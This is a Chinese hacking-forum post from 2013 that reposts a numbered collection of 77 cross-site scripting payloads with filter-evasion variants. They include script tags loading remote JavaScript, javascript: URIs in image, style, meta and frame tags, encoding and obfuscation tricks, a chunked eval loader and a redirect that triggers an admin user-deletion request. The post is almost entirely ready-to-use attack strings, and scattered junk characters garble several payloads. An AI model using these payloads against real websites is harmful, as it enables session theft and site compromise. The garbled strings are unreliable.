找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3005|回复: 0
打印 上一主题 下一主题

XSS攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:22:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。+ n. o0 f5 b/ W) o) E1 ]
(1)普通的XSS JavaScript注入2 }& ]. s  A& [( U! g2 Y- V
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
$ S! l) {7 k3 q' g7 `8 F(2)IMG标签XSS使用JavaScript命令
) X# i7 e" T/ E- P( b" i<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
, S' f. v5 t$ h, V(3)IMG标签无分号无引号
6 j% b! }$ J# \2 n/ ~<IMG SRC=javascript:alert(‘XSS’)>% z- l$ `, |0 u5 i. K( S
(4)IMG标签大小写不敏感
: c1 M% Q, B: x<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
- S- m0 f' {9 s: w4 j0 ], D(5)HTML编码(必须有分号). f$ o  x+ a9 M; `2 |( Y! N: T
<IMG SRC=javascript:alert(“XSS”)>
% V* c+ l) g4 T& P* L8 K6 F(6)修正缺陷IMG标签
" e5 _* Z3 n. j, Y<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>3 ?' @2 |7 i( O

9 {9 Z. k- B% _0 b, j: G! I& Q) p# N- Q7 h
(7)formCharCode标签(计算器)0 F2 U* j* N' }9 ^# X
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
5 T$ D8 I6 y9 e  C2 W(8)UTF-8的Unicode编码(计算器)( G4 `. `+ F: i5 T5 ]3 F5 M
<IMG SRC=jav..省略..S')>$ y) r- M& W1 Y3 [
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
! y- t# U, m, z8 v( t$ n- @<IMG SRC=jav..省略..S')>, A# p+ |& O! ?; u& O5 R
(10)十六进制编码也是没有分号(计算器)
# \7 J/ \( `9 v' N8 W5 ^<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
5 H) r) F  u& W- i+ l& d3 ](11)嵌入式标签,将Javascript分开
8 T! f' @$ b3 t( |, W9 W<IMG SRC=”jav ascript:alert(‘XSS’);”>& U* Z% s" l8 R. h3 E2 j
(12)嵌入式编码标签,将Javascript分开) Y7 k7 W9 o. l! @& |
<IMG SRC=”jav ascript:alert(‘XSS’);”>: v: m( q9 ]7 w4 D# ]
(13)嵌入式换行符1 o) Y' D5 _5 x5 p. a
<IMG SRC=”jav ascript:alert(‘XSS’);”>
) Y0 m0 Y2 k4 a3 z: M$ o7 P(14)嵌入式回车3 U3 s: c4 |5 ^+ T4 |) G1 V
<IMG SRC=”jav ascript:alert(‘XSS’);”>
( S7 m- N) _  M" V& u: K5 R(15)嵌入式多行注入JavaScript,这是XSS极端的例子8 F! S/ T1 f6 ~2 u) _% |2 {
<IMG SRC=”javascript:alert(‘XSS‘)”>
* M+ k* m6 T' |9 h" @! X(16)解决限制字符(要求同页面)$ v- A5 m6 n) i2 Z3 ~
<script>z=’document.’</script>
/ g5 `, h  s6 k5 s0 Z3 y<script>z=z+’write(“‘</script>
6 h, S1 y4 L' B3 `- N<script>z=z+’<script’</script>/ {$ m5 v" z% j0 d2 w: ^" ^6 q
<script>z=z+’ src=ht’</script>' a: l& H: m: I/ A! S' U, `
<script>z=z+’tp://ww’</script>6 o- ^, N4 n9 }) F: [) s
<script>z=z+’w.shell’</script>
3 u, [. r. P8 y% @" H" b6 b( Y<script>z=z+’.net/1.’</script>
1 R! v9 H: j6 p/ O7 f5 M- I<script>z=z+’js></sc’</script>
0 s$ k5 S$ @3 T<script>z=z+’ript>”)’</script>& l& {$ m$ n- T& `0 _5 a2 A( O5 g
<script>eval_r(z)</script>
0 @* q' ]( n* j8 P(17)空字符12-7-1 T00LS - Powered by Discuz! Board
. Q  H, ?7 {4 z' ]' L  S! U! i+ ehttps://www.t00ls.net/viewthread ... table&tid=15267 2/6
* m7 a$ u+ a' H9 q8 @# U+ F2 Xperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out" a0 T4 ~' G# w7 L) i: T2 R
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用/ q! b) T  F- S; \
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out  g( t' `& f# t& @, [4 _# G$ g/ H
(19)Spaces和meta前的IMG标签
5 G2 [7 B8 o2 D4 K<IMG SRC=” javascript:alert(‘XSS’);”>9 J, q8 f* i# V3 @0 u
(20)Non-alpha-non-digit XSS
3 S, E6 H$ p+ @+ k$ v<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
5 S2 j# B8 t/ Q(21)Non-alpha-non-digit XSS to 2
, n5 ], o. \# U: r; r" k<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
7 ]. `& ^, [2 m7 r, L0 F( p3 e( c(22)Non-alpha-non-digit XSS to 3
- J' y0 b6 Z1 Q1 b<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>6 k$ B7 Z1 ]' ~
(23)双开括号( g8 z2 l9 E; m$ n, m+ {
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
& d' A* Z: B0 E7 L(24)无结束脚本标记(仅火狐等浏览器)
8 r8 _- z- P4 ~" J7 H& f1 b6 r) Z<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>3 f  p  _+ u6 ]1 J" R& Y7 d2 d  W
(25)无结束脚本标记2- }- p) V5 H: f6 \. j- |/ l
<SCRIPT SRC=//3w.org/XSS/xss.js>, h- I- T9 f; y  y: N0 h& m
(26)半开的HTML/JavaScript XSS2 ?7 l6 X9 |' B9 ?3 q2 Q
<IMG SRC=”javascript:alert(‘XSS’)”: I5 [$ i6 z6 B& t: @
(27)双开角括号
/ h0 s. ~! ]5 T3 z" c<iframe src=http://3w.org/XSS.html <; B$ A9 A: q% ^, s5 \
(28)无单引号 双引号 分号+ L) R: _2 b, R& a+ c. r
<SCRIPT>a=/XSS/
, }0 c' P2 M8 n6 A, Yalert(a.source)</SCRIPT>
& e9 D) y1 ?3 T* C9 S( z(29)换码过滤的JavaScript
! k! ], @7 M( f2 n( G8 ^\”;alert(‘XSS’);/// u. a- v! I7 c4 K& j2 U
(30)结束Title标签
' ?! A3 H: Z" _8 d. D9 ]</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
8 S, X& a0 A8 d: R: |. j: |8 _(31)Input Image# t  Y" x  C: Z3 D1 O
<INPUT SRC=”javascript:alert(‘XSS’);”>" N6 _8 o$ ?" t, R% @
(32)BODY Image
& P  ?, o; t8 l' }2 P<BODY BACKGROUND=”javascript:alert(‘XSS’)”>% C1 U) @3 o3 r  t. J  }" G* z2 }
(33)BODY标签$ v* ~5 M( H9 q& d+ R$ L
<BODY(‘XSS’)>3 ?  _5 I6 a: O. K8 u/ S. a
(34)IMG Dynsrc2 \  q/ u' f( t  ?
<IMG DYNSRC=”javascript:alert(‘XSS’)”>/ X. ~4 |, y* I4 P5 G( ?
(35)IMG Lowsrc4 x( I6 X4 B8 N! ^! V" u$ E* `
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
! n1 r+ P" ?2 Z2 i7 |(36)BGSOUND
0 j2 g7 A5 f0 d( c% l, Y% Q<BGSOUND SRC=”javascript:alert(‘XSS’);”>
- j+ w1 u( M4 E0 }* x(37)STYLE sheet8 ^5 D& `; M% T; `
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
* H# m$ U+ H, M  R(38)远程样式表
, |8 K- Y: i3 D+ M<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
7 _  H" e# V9 P. J# ~/ U(39)List-style-image(列表式)
/ e6 L7 b+ x; j<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
+ [' \/ d; X8 m/ Y, Y2 ^(40)IMG VBscript; q+ g4 m+ s, C$ ^1 R
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
4 |' y) f- y$ t8 j4 c: [(41)META链接url$ P% P) |8 K# d3 x/ e6 o

3 I3 ~& t2 E; ?  H, s
! w8 t! I! u% \, _5 E* V( i! w6 i<META HTTP-EQUIV=”refresh” CONTENT=”0;& R- [5 H* r) V8 h2 ^! C3 D. E7 W
URL=http://;URL=javascript:alert(‘XSS’);”>. K* A% G+ T. [! s
(42)Iframe; i" V6 I, U" ?6 V
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
! D; G& r$ w% }- W1 n6 D(43)Frame
5 |& H& P1 U/ f0 a& {4 I<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board1 H( ?  K4 I8 F/ K: G
https://www.t00ls.net/viewthread ... table&tid=15267 3/6
) S" D7 V9 ]1 W" F/ M7 P$ d7 L(44)Table
6 @" h/ G6 J; d2 ]8 i<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>2 ]. C. K/ s$ A6 X$ y; a
(45)TD
9 ~  Q' C* e6 d/ z4 c, }  B<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
  W! j) F; f" F, h1 N6 G( N$ U% H( X7 Z(46)DIV background-image
. c' M2 O6 c4 u5 e) o# u: g<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
- V, l' f% _9 D(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
1 v1 C- g' s' |% @8&13&12288&65279)
$ S- B* j- ~) S" e, Z6 {. {" w<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
9 Z" F- E* W8 C% L, M0 e(48)DIV expression' L; H/ w1 M# |! k" g# O
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>, N) q, V' U( d  C5 l, Q" i5 F* ]
(49)STYLE属性分拆表达
2 i. D" V" f- u/ H% Y<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>; K! a4 {; `( q; J7 f* z
(50)匿名STYLE(组成:开角号和一个字母开头)
8 I" i+ V, C7 Y# Y4 w<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>! e& K4 S: W/ @( P8 f
(51)STYLE background-image; A" i0 D9 W  X4 S* Y: I
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
( {" Y4 S6 Z/ w+ ]* r2 A2 [0 S; sCLASS=XSS></A>
; x7 @# |1 j- A: `/ D(52)IMG STYLE方式
, F5 @) u% F. H0 gexppression(alert(“XSS”))’>0 X! g" `+ V$ I# o) Y$ {
(53)STYLE background' F4 Q$ M' k# ~; l% a
<STYLE><STYLE
/ P+ U2 o- F" Ttype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
9 a+ [* Y4 D( w- s(54)BASE/ h% L) V' q4 d% E( F
<BASE HREF=”javascript:alert(‘XSS’);//”>
, b$ P+ O# P/ }- D- C9 n9 q" Y(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS/ @6 n& N" G! b4 n  E1 G) _3 @
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>4 E0 ?3 ~5 k2 L# V# A
(56)在flash中使用ActionScrpt可以混进你XSS的代码
5 m5 Y' [* A+ T1 Na=”get”;
/ P9 M  U1 [: a' o' M- z- Cb=”URL(\”";
# k7 _7 r& d9 h7 U) Yc=”javascript:”;; @( q+ p+ K  ]7 q9 R( f
d=”alert(‘XSS’);\”)”;
9 C- J3 \% y# H* [( l6 Geval_r(a+b+c+d);" D6 r4 a! D& n- m. C$ i6 a4 P
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上2 x8 H5 X7 X6 c# {* U5 C
<HTML xmlns:xss>% d( K, q0 I& X# r2 @8 V' S
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>! J: B# l- c# g4 u% U* B2 e
<xss:xss>XSS</xss:xss>
/ M4 _- y. `" y</HTML>
& V, d3 }0 t/ e5 r& G2 M0 Q/ Z(58)如果过滤了你的JS你可以在图片里添加JS代码来利用% d$ @8 I- d- k
<SCRIPT SRC=””></SCRIPT>7 A0 y/ q) Z7 l9 Z- s, A+ y6 P; W
(59)IMG嵌入式命令,可执行任意命令
' _: d' ]! b& c/ F7 `<IMG SRC=”http://www.XXX.com/a.php?a=b”>
/ U5 T. j1 ^  B6 \1 l(60)IMG嵌入式命令(a.jpg在同服务器)9 [4 `, [* x) Z% p9 U. K7 j0 V
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
2 ^& Q& Y- J5 c/ v: g+ \(61)绕符号过滤9 N( D- E: w- `) q8 e9 T
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
" }  @7 o; L6 F(62)
+ u6 d5 M# G) ]5 [. `& S! A6 E7 D( d<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
; J$ O* @& Z1 e: _: p' `(63)
; x4 h; m. {$ j; a& a<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
  e# K1 l/ G( H) c  J- c/ l; F(64)' E- F' ~2 U" _0 u% }
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>% K3 [* C9 o& p% m
(65)  Q5 o, g  d7 j0 \* B4 R" q
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>" k- y2 P3 _; }0 a, y# W2 P# q
(66)12-7-1 T00LS - Powered by Discuz! Board* N, t1 x; G( }" g5 \% F# T+ s1 N
https://www.t00ls.net/viewthread ... table&tid=15267 4/6: _9 m* f+ z4 ?: U, \7 c; U+ s
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>& Q0 ~( P- D9 z) Y( }
(67)6 |1 N8 a, q1 q) m& P
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>
% }) a6 i; B/ I+ \</SCRIPT>$ `1 y2 \) Y& P# {  g4 y7 K
(68)URL绕行
2 E5 k! n4 a  R" t<A HREF=”http://127.0.0.1/”>XSS</A>1 {4 ^* j8 T/ }
(69)URL编码
) \+ B' P/ K7 [+ @<A HREF=”http://3w.org”>XSS</A>7 T; d0 j: a5 a' _7 O, g
(70)IP十进制# {  i" Y5 v# X/ N5 R5 K$ ]6 `1 a
<A HREF=”http://3232235521″>XSS</A>
, Y' O" X3 d# h# p(71)IP十六进制  s, z1 N7 D- w
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
  {0 M5 C/ F: u' T# P1 G) b' U(72)IP八进制2 Q% E2 C: a; n9 C, i% w* G
<A HREF=”http://0300.0250.0000.0001″>XSS</A>, _) P0 e7 j: @" t
(73)混合编码3 l6 Z6 F  z/ Z  Y3 L! U' o
<A HREF=”h
8 p8 t0 h1 a$ o+ Y6 N6 R- X1 Ntt p://6 6.000146.0×7.147/”">XSS</A>; h* C+ M) E. m3 c! V2 H' x
(74)节省[http:]
" A4 T+ j8 F' D6 c  O' c<A HREF=”//www.google.com/”>XSS</A>- Q- f1 w1 v  w0 f4 ], J, z3 b
(75)节省[www]
& \) G  L- w3 |, h<A HREF=”http://google.com/”>XSS</A>& O3 |& U  P% q
(76)绝对点绝对DNS
, z0 H; S2 N% D  i) h9 a<A HREF=”http://www.google.com./”>XSS</A>6 R. C. {) k, d8 L0 ~7 [
(77)javascript链接! {+ q! \! ^3 Z) C  O
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
( Y$ f% T8 r1 V7 V. t' T
) d/ d) L- p7 j9 i5 _1 X原文地址:http://fuzzexp.org/u/0day/?p=140 ~6 \" y- z1 {6 p( |! _

7 }- s* k. w  I: k! I. D2 y! P) d$ s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表